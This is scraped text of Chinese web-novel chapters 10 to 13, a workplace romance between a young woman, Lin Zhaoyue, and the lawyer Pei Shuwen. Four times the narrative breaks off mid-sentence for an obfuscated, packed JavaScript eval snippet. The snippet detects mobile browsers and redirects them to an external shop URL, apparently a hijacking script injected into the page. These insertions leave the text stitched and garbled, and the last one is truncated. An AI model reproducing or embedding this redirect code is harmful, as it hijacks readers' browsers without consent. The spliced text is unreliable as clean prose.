林朝月这么想着,但见裴舒文扬起手的时候,她还是被吓得缩起脖子、闭紧眼,说话也变得断断续续了。 “我、我……我没招惹他们,是他们自己找上来的……” 话还没等说完。 林朝月就感觉耳边闪过一阵风,接着就是‘邦’的一声,她差点尖叫出声。 但预想中的疼并没有出现。 身边倒是响起了一声‘痛呼’,接近着就是重重的坠地声,‘噗通’一下。 林朝月感觉自己脚下的地板砖都震了一下。 什么情况? 裴舒文:“睁眼。” 林朝月试探性地睁开半只眼。 然后就见脚底下趴着刚刚自己迈过去的那个花臂男。 她这次彻底把眼睛睁开了。 花臂男不受控制地摔出去后,脸有些变形,嘴里顶着腮帮子鼓捣了半天,最后竟然吐出了一颗牙。 林朝月:“……” 裴舒文看她:“你刚刚想问什么?” 林朝月拨浪鼓式摇头:“没什么,我没什么想问的。” 裴舒文:“聚餐喝酒了吗?” 林朝月再次摇头:“没喝。” 裴舒文抬手看了眼时间:“警车应该快到了,还要去派出所做个笔录,你来开车,让她们自己回去?” 她们? 她们是谁? 林朝月顺着裴舒文的视线看过去。 这才发现刚刚去买甜筒的那几个女生已经回来了,她们就站在不远处的石柱边,手上拿着的甜筒还没来得及吃就化了,黏糊糊的淌了一地。 此时脸色也是一个赛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355328|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个的震惊。 裴舒文今天见过这几个人,知道她们都是君天梁木的。 裴舒文直接问:“你们自己可以吗?” “可以可以,我们可以自己打车回去。” “裴律您放心去派出所吧。” 裴舒文点头,然后压根没给林朝月思考的机会,熟悉的车钥匙又落到了她手上。 警察正好也到了。 她就这么鬼使神差地上了裴舒文的车,跟在警车后面把车开进了附近的派出所。 警是裴舒文报的,他跟着进去做笔录。 林朝月算半个‘受害者,值班的女警找了一个没人的休息室让她休息,还贴心地给她倒了杯温水。 林朝月:“谢谢。” 女警:“附近的监控视频我们看了,吓到了吧。” 林朝月点点头,但很快又摇摇头:“我没事,他有事吗?” 女警知道她说的是裴舒文。 她刚刚想跟着裴舒文一起进去做笔录,但被拦下了。 她手机里录着裴舒文打架的视频,刚刚一并被警察收走了。 林朝月有些担心。 女警的回答很官方:“具体的还不清楚,要等笔录结束才知道。” 这是一次漫长的等待。 裴舒文做笔录的时间很长,和他打架的那几个人家里陆陆续续来人。 等人站满了一屋子,裴舒文才终于出来。 林朝月第一时间推门出去:“怎么样了?我们可以回去了吗?” “赵淮安到了吗?” “谁?” “到了到了。你这什么情况?不是家庭聚餐吗?” 赵淮安头没梳脸没洗地就从人堆里挤了出来。浑身上下都写满了‘幽怨’。 他难得今天早点休息,睡得正香就被裴舒文的电话吵醒了。 电话里没说具体的,但听着乱糟糟的背景音,说是在派出所,他赶紧就过来了。 裴舒文:“嗯,家庭聚餐,顺便见义勇为,不小心把人打了。” 这话赵淮安是不信的。 裴舒文的人生里没有‘不小心’这三个字。 赵淮安此时也发现了站在旁边的林朝月,他眼皮一跳,脸色变得有些难看,连带着语速都变快了:“你见义勇为,她怎么也在这?英雄救美?人打成什么样了?你不会是把人打残了吧?” 林朝月发现了。 赵淮安看她的眼神就像是在看红颜祸水。 裴舒文:“没残,但涉及的人有点多,你处理一下,我四点还有个跨国会议。” 赵淮安:“和温森蒂那边的会?怎么挪到这个点?” “嗯。” 裴舒文不多说,但赵淮安急了,这可是一个大单。 赵淮安:“那你快回去吧,这里我善后。” 他叫赵淮安过来也是这个意思。 裴舒文有些疲惫,和警察又说了些什么就往外走。 林朝月跟上,等走到门口的时候她想起自己的手机还没拿回来,和裴舒文说了一声,又小跑着回去。 “警察叔叔,我那个手机现在能还我吗?” “是这只吧。”警察拎起了扣着粉色壳子的手机,见林朝月点头,递了过去。 警察:“里面录得视频很关键,我们已经拷贝出来了,手机你可以拿走。” 林朝月顺利拿了手机,却没急着走,而是站在那里犹犹豫豫得。 警察接警的时候就留意到林朝月了,也知道她是今晚的‘受害人’,见她年纪也不大,以为她是被吓着了。 警察:“林朝月是吧,同学你放心,今晚的事情是意外,大学城附近的治安还是很好的,我们近期也会加强巡逻。” 不是这个事。 林朝月紧握着手机,想说什么却不大好意思,但她又怕裴舒文在外面等急了。 她频频回头,见裴舒文正站在门外看她。 心下一横,撕下一张纸写了些什么递给警察。 10. chapter 10 “警察叔叔,裴舒文今晚打架是为了我,如果后面需要赔偿,你可以直接给我打电话。” 她已经留过电话号码了,但报警人是裴舒文,她怕有事情派出所也不会直接打给她。 她刚刚听见那几个男人的家属嚷着让裴舒文赔偿。 但哪有帮了她忙,还要自己赔钱的道理。 她现在虽然是穷光蛋,但也不能都甩给裴舒文。 所以她又写了一串电话号塞给了警察。 警察没接林朝月的话,而是反问:“你们不是男女朋友关系吗?为了保证女朋友受到不法侵害,在合理的范围内一般会认定为正当防卫,你也不用太担心。” “啊,这样吗?” 林朝月心想她和裴舒文哪是什么男女朋友关系。 但她没敢反驳,她在国内读本科的时候也很混,对国内司法实践知道一点,但不多。 揣着满心的疑惑出去。 裴舒文正站在门口等她:“和警察说什么了?” 林朝月犹豫了一下:“也没什么,就是我去拿手机,警察说我们是男女朋友关系,你替我打架算正当防卫。” “还说什么了?” 留电话号码的事林朝月不想说。 她低头,说起了别的:“下次有这种事,你最好还是提前和我说一下,我也好配合你演……” 最后这句她说得很轻。 演归演,她现在还是有些本能地怕裴舒文。 裴舒文刚刚不知道这小丫头怎么回事,现在见她还低眉顺眼的,也大概猜到了。 这是怕他了。 但怕总比不怕好。 他不由得轻笑一声:“上车吧,明天还有工作,等会儿帮我送个人,明天你可以休息到下午再去所里。” 明天还要上班啊。 还真是没人性。 林朝月情绪更加沮丧了,但她这次甚至都没敢反抗,只是默默地‘哦’了一声。 识时务者为俊杰。 她林怂怂进可当富二代,退可当小喽啰,不就是上班嘛,她今天不是上的挺好。 不管别人怎么觉得。 反正她自己感觉是挺好。 裴舒文手受伤了,她很有眼力见地帮着开车门。 本来想再殷勤一点,站在一边等着关车门,但中途扫了一眼后座,林朝月直接吓得一激灵,本能地后退一步,差点被路边的石沿绊倒。 还好裴舒文反应很快地拉了她一下。 “靠,这车里怎么有人?” “小偷?” 但谁家小偷这么明目张胆地坐在人家车后座,而且这可是派出所门口。警局出警的车还没收队,红蓝车灯还在街对面闪着。 裴岸已经睡了有一会儿了,听见声响侧了个身子,嘟囔着报位置:“送我去江南名庭,谢谢。” 是裴舒文堂弟的声音。 他音色很特别,是澄澈干净的少年音,一耳朵就能认出来。 原来他还没走,白白吓她一下。 林朝月捂着胸口问裴舒文:“是要送他吗?” “嗯,辛苦你。” 这一晚上下来她确实辛苦了。 接二连三地被吓,以前玩鬼屋的时候也没这么刺激。 她心有余悸地坐上驾驶位。 开过两次裴舒文的车,她用导航的动作已经很熟练了。 江、南、名、庭。 这名字很耳熟。 李聪家旗下的艺人好像都是住这边,据说那里是保密性很好的豪华私人公寓,但裴舒文的堂弟怎么也住这? 她有些疑惑,但也没多问。 裴舒文上了车就闭目养神,手上红色的擦伤还没处理,人看着有些疲惫。 她放了首舒缓的轻音乐后,专心开车。 半个小时后。 导航上显示已经到达目的地。 林朝月以为这个时间路上不会有什么人了。 等车开过去,离着老远就看见有两个人等在前面。见她停车,齐刷刷朝这边看过来,还招了招手。 裴舒文是醒着的。 林朝月侧眼看他:“他们认识你的车,是找你的吗?” “不是。”裴舒文叫醒裴岸:“你经纪人到了,你可以下车了。” 裴岸最近搞创作失眠严重,好不容易今天睡得好,还被叫醒了,他不大情愿,尤其是看到裴舒文都没给他送到地下车库。 “就让我这么下去啊,我现在好歹也是有些名气的。” 但说是这么说,裴岸还是老老实实地下车。 林朝月后知后觉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355329|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你堂弟是明星?” “歌手。” “哦。”国内的歌手她了解的不多,就知道李聪有个很喜欢的歌手叫裴岸。 每次提起这人,李聪都幻想着有朝一日能把他签到自家公司,但好像因为裴岸家世很好,不签任何的娱乐公司,所以这事迟迟没有着落。 听说这还是个很神秘的歌手,极少露面,李聪到现在连个签名都没要到。 林朝月随口一问:“你堂弟叫什么名字?” “裴斯年,艺名裴岸。” 林朝月:“……” 她突然信了,李聪这货确实是来人间享福的。 这都能让她撞见。 电视剧都不敢这么演。 裴舒文只听林朝月丢下一句‘他是我朋友偶像,我去要个签名就回来’,就拿着纸笔小跑着追了上去。 都说林家这姑娘是被家里宠坏了,无法无天。 他倒觉得林朝月比圈子里的其他人来的干净。 被钟林两家保护的很好。 林朝月因为之前打架的事,对裴岸多少有些偏见,但奈何现在她有求于人。 追上去后,态度多了几分‘谄媚’:“大歌星,我朋友很喜欢你,能不能帮我签个名?” 偏偏裴岸存心想逗她,说裴舒文同意他才愿意签名。 明明隔了没有二十米远,裴岸拿出手机拨了电话,手机还直接塞给了她。 这人怎么这样啊。 性格真是古怪,也不知道李聪喜欢他什么。 但为了自己那个傻了吧唧的发小。 林朝月再次妥协。 “裴舒文,你弟说要你同意他才给我签名。” “你同意吗?” “可以不同意吗?” 裴舒文很少会把时间浪费在这种事上,但他还是丢下这么一句。话中带着明显的打趣,他难得恶趣味地想看林朝月的反应。 林朝月却压根没按常理出牌。 自言自语的声音盖过他的音量:“同意啊!那我多问你弟弟要几张签名了,谢谢舒文哥哥,再见。” 接着电话那边传来了一阵忙音。 再抬头看的时候,裴岸已经拿着纸笔在签名了。 裴舒文没由来得轻笑一声,他倒是小瞧这姑娘了。 11. chapter 11 林朝月拿了一叠签名后神清气爽,回来的时候,还刻意把签名放在了她和裴舒文中间。 嘚瑟的意思很明显。 林朝月年岁不大,偶尔会有小女孩的心性。 裴舒文也不在意。 一个小时后他有会,开会的资料他还要再过一遍。 裴舒文不理她,林朝月也非常识趣,小小嘚瑟了一下后就迅速收敛。 毕竟见识过裴舒文一穿五的身手,她也不敢太造次。 见他在工作,她就专心开车,音乐也换了首更轻柔的钢琴曲。 直到把车开到裴舒文家楼下,她才叫他。 “到了,今天的事谢谢你,等哪天你有空我请你吃饭。”怕归怕,该有的礼貌林朝月还是有的。 但想到自己现在是穷光蛋,林朝月又补了一句:“地点我挑,太贵的我请不起,但保证好吃。” 裴舒文不大在意,只是‘嗯’了一声,下车随手拿着西装外套上楼。 他工作的非常专注。 在这中途还在回消息。 还真是个工作狂,裴舒文看着比她们家钟女士还厉害一点。 林朝月锁了车默默跟上去,时间这么晚了,密闭的电梯里就只有他们两个人,林朝月甚至能清楚地听见自己的心跳声。 她住三楼,裴舒文住四楼。 裴舒文按了两下电梯,电梯到三楼的时候也停了。 林朝月却没下去。 裴舒文又按了一次三楼。 当电梯门再次自动关闭的时候,裴舒文才终于看她:“你还有事?” 都硬着头皮跟上了,当然不会是没事。 林朝月抿着唇,低头看向裴舒文还在渗血的手。 他都不知道疼的吗? 林朝月向下指了指:“你家应该有医疗箱吧,我帮你包扎一下再走?” 裴舒文:“我没事,等下还有会。” 林朝月:“你自己不好处理,你会议还有一会儿才开始,放心,我很快的。” 林朝月嘴上是商量的语气,但进了门就开始四处打量着找医疗箱。 最后还真让她看见了。 就在餐边柜下面放着,她拿了出去,打开清点里面的东西,纱布、碘伏、棉签,还有一些消炎药,该有的都有。 见裴舒文还站在那看自己,她干脆拉着人坐到了沙发上:“你坐这里,侧过来一点,把手给我。” 她熟稔的像是在自己家。 但没办法。 她太困了。 早点帮裴舒文处理好她好下楼睡觉,裴舒文还说她下午去所里就行,但依她对自己的了解,她再不睡容易直接睡到明天晚上。 林朝月强撑着眼皮,但还是拿出了自己哄小孩子的耐心:“我先用碘伏擦一下,可能有点疼,我会轻点的。” 裴舒文除了最开始的拒绝,后面倒也配合。 随她摆弄,也不催她。 见她包扎的熟练,还放下工作和她聊了几句。 “你在国外上学的时候经常受伤?”裴舒文问。 “啊,也不算经常,我还挺喜欢滑雪的,偶尔受点小伤就自己处理了。” 但因为滑雪服保护的好,又是在雪地上,她很少受这种有创面的伤,顶多是摔出一些淤青,大多数时间随便涂点药就好了。 林朝月用碘伏清理好后开始细致地缠纱布。 林朝月:“那你呢,怎么这么能打?那一群人都没打过你,你是学过吗?” 裴舒文:“嗯,学过。” “为什么学这个?”林朝月很好奇。 毕竟这种事和裴舒文着实不搭,就像是上好的紫砂壶里装的不是茶水,而是烈酒的那种违和。 裴舒文:“做我们这种职业难免挨打,学来防身的。” “啊?” 真的假的啊? 国内的律师行业这么高危吗?还有被打的风险。 林朝月的手抖了一下,碘伏差点擦到裴舒文的白衬衫上,还好她反应快即时抬了手。 裴舒文:“怎么了?” “没有没有,防身挺好的。”不是学来打人的就行,那她就还有摆脱裴舒文压榨的希望。 林朝月突然觉得人生又多了一些曙光,人也变得积极了些。 收药箱的时候,试探性地问了句:“我听他们说,律所考核通过就能自己选团队,我也能选吗?” “如果你想的话。” 她当然想,之前她还只是听大家说说,今晚她可是亲眼看见了裴舒文的工作强度。 谁家好人凌晨四点还要开会。 但想归想,表现出来就显得不太友好了。 林朝月讪讪地笑:“你不要误会,我也不是不想进你的团队,主要是听说你们团队的人都比较……厉害,我怕拖你后腿。” 裴舒文似笑非笑地看她,像是一眼就能看穿她的小心思。 也是。 裴舒文‘修炼’了这么多年,估计早就变成人精了。 她想什么他还能猜不透吗?她突然觉得自己多余说得这么委婉。 林朝月干脆破罐子破摔。 收好药箱,临走前默默吐槽了一句:“而且我怕我去了拉高你们平均睡眠时间” 说完她就溜了。 也没敢再回头看裴舒文是什么表情。 她就是这样,偶尔情绪上来的时候什么话都敢往外冒,但说完又怂怂的。 人送外号林怂怂。 林朝月像个兔子一样蹦跶蹦跶地下了楼。 很快没了动静。 裴舒文往楼梯那里看了有一会儿才收回视线。 电脑视频会议界面已经准备好了,但他走神的时候刚好过了预约好的会议时间,进去已经四点零二了,他难得迟到一次。 楼上视频会议中操着标准英伦腔的调侃林朝月没听到。 裴舒文从未有过的迟到道歉她也没听见。 因为她下楼人就钻进了浴室,先是舒舒服服地泡了澡,然后还精致地护了个肤。 等都弄好了,她困劲也过了。 明明刚刚在裴舒文家还困得直打哈欠,现在脑子里比她刚睡醒的时候还清醒。 屋子里饶了一圈,连卧室都不大想进。 她干脆裹着浴袍躺在了客厅的沙发上玩手机。 第一件事当然是先把李聪从黑名单里拉出来,再把要来的一叠签名拍下来发给他看。 李聪没秒回。 她打开他朋友圈看了一眼,他状态挂了个‘会议中’,朋友圈关了大半,最新的一条是西装革履参加什么商务会议的视频,造型凹得很正经。 她差点信了。 但她和李聪认识二十来年,太知道他是什么德行了。 估计又是在给自己立人设,准备泡哪个妹子呢。 真商务精英开会哪有时间摆拍,受伤了也当没有那回事赶着时间开会。 她今天算是见识了。 林朝月默默想着这件事,然后鬼使神差地点进了裴舒文的朋友圈。 她是上周五的饭局加的他好友。 到现在还没看过他朋友圈长什么样子。 打开之前林朝月是带有一丝莫名期待的,但期待很快落空,因为她很快就发现裴舒文的朋友圈什么都没有。 从头像到背景板都是黑色的,只有用户名是他本名。 他都没什么兴趣爱好吗? 看样子也没什么有趣的生活想要分享。 好寡淡一男的。 林朝月把手机丢到一边长输一口气,但没一会儿手机又被她捡了回来。 她手机里有裴舒文表弟录的视频。 警察叔叔说没删,她一直都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355330|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得及看。 视频就在相册里,她打开看了眼时长,录了能有十几分钟,看样子是从打架一直录到有警察来。 林朝月侧了个身,找了个舒适的位置靠着,然后打开了手上的视频。 前面画面录得并不清晰,背景音还时不时伴随着她和裴岸的言语battle,等到后面画面才稳稳定格在裴舒文的身上。 这些画面她明明都亲眼看见过。 但现在在手机上重复了一遍,还是很新奇,偶尔看到裴舒文快被打到的时候,心会跟着狠狠地揪了一下。 好在她知道裴舒文只有最后打那个花臂男的时候手上受了点伤。 对了。 当时那个花臂男是怎么躺在自己脚下的? 她当时背对着那人,都没看见。 林朝月揣着好奇心拉动视频的进度条,在反反复复地快进和暂停后,在视频很后面的位置找到了那个画面。 而也是这不到五秒的视频画面,让林朝月看的直接‘腾’地一下从沙发上坐了起来。 她冒了一身冷汗。 那个花臂男是什么时候站在自己身后的?她怎么什么都不知道?而且看他那动作,是准备直接照着她头打下去的。 难怪当时裴舒文脸色那么差朝自己走过来。最后打人的那下也出手那么狠。 当时如果他不狠。 今晚可能就轮不到她给裴舒文擦药了。 说不准拨个110不够用,还得拨个120送她去急救。 林朝月有种劫后余生的感觉。 感激之余,她对裴舒文也带上了滤镜。 工作狂可能也不是他的错,谁让他都没什么兴趣爱好呢,而且听大家聊八卦,他上次谈恋爱已经是上学的时候了,就这一个还被家里拆散了,除了工作他还能干嘛呢? 感慨之余,林朝月还给李聪发了几条消息。 【我觉得你对裴舒文有偏见,他人还是挺好的。】 【等你回国我重新介绍你们认识。】 【不用谢我。】 李聪不知道在忙什么呢,依然没回。 林朝月也不在意,因为她突然发现裴舒文的车钥匙被她不小心顺下来了。 林朝月之前立下的flag早就被她抛到了脑后,又非常不长记性地给裴舒文发了条消息。 林朝月:【会议结束了吗?你车钥匙还在我这,我给你送上去?】 裴舒文:【来。】 看样子会议已经结束了。 拿了钥匙,林朝月没多想,换了件睡衣就去了楼上。 下楼的时候踢踢踏踏,上楼的时候她明显安静了很多。 这个时间的天已经亮了大半,裴舒文家里的灯都关了,但窗帘却只拉开了外面最遮光的那层。 清晨暗淡的光穿透薄雾照进来一些,屋子里是反射出冷冷的灰蓝色调。 林朝月后知后觉楼上楼下的两张沙发是同款,连尺寸和摆放位置都出奇的相似。 裴舒文就靠在沙发上,他身上穿得还是昨晚的那身西装,但衬衫领口的扣子解了两颗。 在和他对上视线视线之前。 林朝月非常自觉地挪开眼。 裴舒文:“还没睡?” “嗯,刚洗完澡,等下就睡。” 林朝月把钥匙放在了一个显眼的位置,本想走之前再多嘴说一句让他也早点睡,但一回身发现裴舒文不知道什么时候起身,已经走到她面前了。 他紧接着屈膝俯身。 林朝月不知道他要做什么,僵硬地站在那里没敢动。 直到裴舒文用没受伤的那只手打开鞋柜,从里面拿出了一双家居拖鞋放在她脚边。 他没第一时间起身,单手扶在膝盖上,人看着很疲惫,但声音依旧不急不缓。 “女孩子不要光脚在地板上走。” 12. chapter 12 林朝月昨晚睡得很迟,今天却醒的很早。 昨天裴舒文极其寻常的一句话,就像是有什么魔力,睡梦中还在牵扯着她的心绪,导致她都没怎么睡踏实。 她赶着午休时间到了君天梁木,正好赶上去食堂吃过中饭再上班。 昨天晚上的事所里已经传开了。 林朝月打饭的时候都听到前面有人在议论。 等她打好饭,直接被不知道从哪里冒出来的闻雅拉去了她们那桌。 一桌子都是熟悉面孔。 昨晚大家刚凑到一起吃过饭。 坐在对面的是和她不大对付的聂闪闪,但她今天像是转了性,难得没对她冷嘲热讽,而是看起来还有些期待她说话,时不时就抬头看她一眼。 不止是她。 周围的人也一样。 “你们这么看着我干什么?”林朝月摸了摸自己的脸,她出门照镜子了,脸上什么都没有啊。 闻雅神秘兮兮:“朝月,昨天我们走之后发生的事大家都听说了,还听说你当时就在现场,你快和我们说说到底什么情况啊?” “你们说裴舒文?” “对,就是裴律,听说裴律昨晚一挑五,真的假的啊?宁城律师论坛今天满屏都在说这件事,可夸张了。” 事情倒是真的,但这八卦的传播速度也太快了吧。 而且她怎么莫名其妙就成八卦中心了。 林朝月:“是真的。” 有了林朝月的‘认证’,大家明显更兴奋了,饭还没吃完,大家就又展开了新一轮的激烈讨论。 讨论内容从裴舒文的身形外貌到他的工作能力,最后还猜测了一番裴舒文的家世。 最后饭桌上有两个女生已经开始憧憬以后进裴舒文的团队了。 啊? 这么草率吗? 昨天还不是这样的。 林朝月吃饭的时候以为大家只是说说。 下午回了工位,林朝月才发现她们是说真的,她们这一批入职的人里面,她知道的起码已经有三个人主动去裴舒文的团队分工作出来做了。 林朝月挪蹭椅子凑到闻雅边上。 小声问:“这都什么情况?hr不是说今年不开放和裴舒文团队的双向选择吗?只有考核不通过的才会被拉去魔鬼训练。” “你的消息已经是落后的版本了。”闻雅从旁边抽出了两张纸质表,一张递给林朝月,另一张留给了自己。 闻雅点着上面可选择的律师名单,最上面的那位赫然就是‘裴舒文’。 闻雅摊手:“有了昨天那事,大家都变热情了,今天早会临时决定裴律的团队也加入新人考核。” “恭喜你!不是唯一一位等着接受裴律摧残的小白兔了!” “这好像也不是什么值得开心的事。” 闻雅拍了拍她的肩膀,安慰:“这确实没什么值得高兴的,不过和坏消息一起听,就会觉得还可以。” “什么坏消息?”林朝月突然有种不祥的预感。 闻雅:“其他律师团队都有小项目给大家跟,但裴律的团队没有,都是大项目;你一个人过去就菜的很明显,现在多几个人一起,没准就显得不那么菜了。” 据她所知,裴律的团队,连争议解决的诉讼案子,涉及的金额都是千万起步。 赚钱多的案子也自然会更复杂,更难。 林朝月就知道没什么好事,难怪她今天从睁开眼开始,右眼皮就一直在跳。 林朝月逐渐变成苦瓜脸:“你说我现在推了裴律的活,去做别的行吗?” 闻雅这次压根没接话,只给了她一个‘好自为之’的眼神。 看样子是不行。 啊啊啊啊! 她当时怎么就脑袋一抽被诈骗了两千万。 不然她现在应该在瑞士滑雪,应该在川西看牛马,怎么也不应该在裴舒文的律所坐牢! 不行! 这种时候她不能再摆烂了。 她要为自己争取一下! 等裴舒文什么时候来上班,她就试着去把工作推了,万一裴舒文看她可怜妥协了呢。 林朝月暗戳戳地下了决定,打开电脑开了一盘蜘蛛纸牌。 “啊?你说裴律啊,他早就来了呀,今天还一起开的早会。” 玩了两盘蜘蛛纸牌还没通关的林朝月冷不丁地听到了这么一句。 ? 裴舒文不用睡觉的吗?怎么早上就来了。 林朝月差点以为是自己幻听了。 等拿着裴舒文秘书给她的钥匙,将信将疑地去了他办公室。 听声音发现他好像真的在。 林朝月敲门。 冲出来的秘书想拦她都没来得及。 林朝月这才后知后觉地看到裴舒文办公室门上挂着的‘请勿打扰’。 这牌子也太小了,她都没留意到。 这可不能怪她。 她想走。 但已经来不及,因为办公室里面紧接着就传出了一声‘进来’。 林朝月在裴舒文秘书‘哀怨’的目光中走了进去。 进去以后,林朝月才发现原来里面有人在,而且还是个熟人。 这是……林晓? 林朝月前天刚找熟人出了林晓那天给自己‘赔礼道歉’的橙色礼盒。 今天就碰到了正主,多少有些心虚。 林朝月:“你们忙,我就不打扰了……” 裴舒文却没给她出去的机会:“自己找地方坐,我这里很快就好。” 林晓也听出来裴舒文这是给自己在下逐客令。 她目的达到了,所以非常识趣:“那后续的事情就麻烦裴律师了,如果刚刚我提的裴律感兴趣,也可以随时联系我,到时候绝对会给裴律开出一个难以拒绝的条件。” 裴舒文送人的时候依然保持着绅士的微笑,但那笑并不走心。 “我会好好考虑的。” 这么说就是不会考虑,林朝月默默地想。 果然,林晓前脚刚下电梯,裴舒文就换了副脸色,和秘书交代了几句工作上的事,才没什么表情地走进来。 他脸色看着不大好。 也是,这样连轴转,换了谁脸色都不会太好。 但他对她态度还可以。 裴舒文:“来找我什么事?交给你的工作有问题?” 裴舒文看到了她手上的钥匙。 “啊,我还没开始做。”林朝月本来想说让裴舒文找别人做吧,但见裴舒文都这个样子了还耐心地问她。她突然就不想说了。 林朝月:“我就是……不太会,上次你秘书只说了让我整理卷宗,但我之前没整理过。” 裴舒文的茶水只喝了两口就放下了。 “走吧。” “啊?干什么去?”林朝月刚刚一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林朝月看裴舒文的眼神也没有昨晚的神采了,只剩下幽怨。 一整个下午林朝月都窝在储藏室。 赵淮安下楼找人找不到,直接去了裴舒文办公室。 一推门就看见裴舒文正在闭目养神。 “林朝月呢?” 裴舒文睁眼:“什么事?” 赵淮安把信封丢在了裴舒文的办公桌上:“要来的赔偿,你和你那个小祖宗看着分吧,她人呢?” “储藏室。” 赵淮安秒懂:“你把她打发去整理卷宗了?” “嗯。” 早上开会的事赵淮安听说了。 他可不觉得裴舒文这么好心,找了个清闲的活给林朝月,难道就为了让她通过考核,逃离他的‘魔爪’? “什么意思?放风筝啊,时不时地松松绳,时机到了再拉拉线?”赵淮安拿过裴舒文的电脑,调出了储藏室的监控。 裴舒文捏了捏眉心:“算是吧。” 赵淮安:“不对啊,我看林朝月怎么整理的都是以前的卷宗,最新的那几个呢,不是马上就要用了?我去提醒提醒她?” “不用,我已经提醒过了,如果出了问题,正好让她长长记性。” 赵淮安想起了最近那几个案子的难搞程度,这出问题可绝对不是什么小问题,他不由得竖起了大拇指:“还得是你,够狠。” 裴舒文低头看着林朝月给自己伤口处系的蝴蝶结。 他倒不这么觉得。 成蝶前的破茧过程必然是漫长且痛苦的。 他很期待看到林朝月的蜕变。 这也将是他接下来一段时间里的乐趣所在。 13. chapter 13 林朝月也不是一开始就摆烂的。 裴舒文走了以后,她也有认真地整理过两份卷宗,但这工作实在是太枯燥了,她做着做着人就开始溜号。 后面又咬牙坚持了五分钟。 想着反正储藏室也没有别人,干脆打会游戏好了。 李聪昨晚玩消失,中午给自己吹了一个中午的彩虹屁,她还没理。 现在正好拉他当游戏搭子。 拨过去的语音电话是秒接的,对面声音异常亢奋。 “月宝!你终于理我了!自从你拉黑我,我最近想你想得都没心情吃饭了!” 林朝月冷漠脸:“没心情吃饭,但有心情当舔狗。” 李聪昨天虽然没回她,但她在群里看到有人说李聪迷上了个职场女精英,最近正各种找机会献殷勤呢。 估摸着昨天就是为着这事去参加的商务聚会。 李聪脸皮向来很厚,压根不在意林朝月的话,甚至还有些沾沾自喜。 “月宝,我发现姐姐真的太香了!我觉得我这次遇到真爱了,等有机会我一定要介绍你们认识。” 林朝月:“……” 她要是没记错,这已经是李聪第八次说自己遇到真爱了,上次和她说的还是‘妹妹真的太香了,以后都要谈妹妹!’。 呵。 善变的男人。 林朝月:“用不着,等你哪天真谈上了再给我介绍也不迟,赶紧上号,陪我开盘游戏,我自己玩太无聊了。” 李聪闲人一个,伊萨卡凌晨两点也不耽误他游戏。 而且他前脚刚见完姐姐,后脚就见林朝月给自己发来了裴岸的亲笔签名,哪里睡得着。 “行啊,上号上号,你正好再和我说说你哪里要来的签名,我之前托人找关系都没要到,裴岸不愧是音乐圈绝世男神,人高冷的很。” 高冷? 这林朝月倒是没感觉。 她就是觉得裴岸这人有些欠嗖嗖的。 林朝月:“那你托的关系有没有告诉你裴岸和裴舒文是堂兄弟?” “没啊。”李聪随口一回,但等说下一句的时候,他声音明显变形了:“你说什么?真的假的啊?月宝你不是在逗我吧。” “不然你以为我是怎么拿到的签名。” 没有裴舒文她去哪认识什么裴岸,她又不追星。 这两个人刚好都姓裴,巧是巧了点,但应该也不至于这么让人难以置信。 林朝月随手开了几个武器盲盒,中间停了一下:“你这么惊讶干什么?” 李聪平复心情,神秘兮兮地说:“裴家最近好像挺乱的,你和裴舒文住一起你没听说吗?” 林朝月翻了个白眼:“你不要造谣,我们没住一起。” “啊,这么避嫌吗?我以为裴舒文近水楼台先得月已经把你拿下了呢,那你夸他干嘛,还说要介绍给我认识,你聪哥我只想认识能把你拿下的男人。” “那你没机会了,我现在也不是很想认识他。” 看着满收藏室待整理的卷宗,她心里已经把裴舒文和周扒皮划等号了。 她现在活脱脱一颗地里黄的小白菜,任人宰割,没人疼没人爱。 还好她这颗小白菜会偷懒。 李聪:“别啊,就算不听八卦,你也找机会认识认识裴岸,万一哪天我把他签下来,我们家老李肯定要夸我能干,没准零花钱都能翻倍了。” 零花钱零花钱,一天就知道要零花钱。 她倒好,最近一直都在节衣缩食。 别说买包买酒,她连游戏里都不充钱了。 林朝月着实有些不爽,想在游戏里鲨人的心此时攀升到了顶峰。 林朝月:“上线了没?今天冲一波海岛图,跳机场,我上个皇冠。” 李聪:“上了上了,等会儿我跟你跳伞,还是机场C字楼呗……” “对。” 林朝月现实中唯唯诺诺,游戏里重拳出击。 小白菜直接化身刚枪王,落地机场就是干! 举着M416突突了一下午,最后赶在律所晚饭开餐之前上了皇冠段位。 最后一把结束,李聪在语音里连喊了三声‘月姐牛逼’,也顾不上伊萨卡外面的天都亮了。 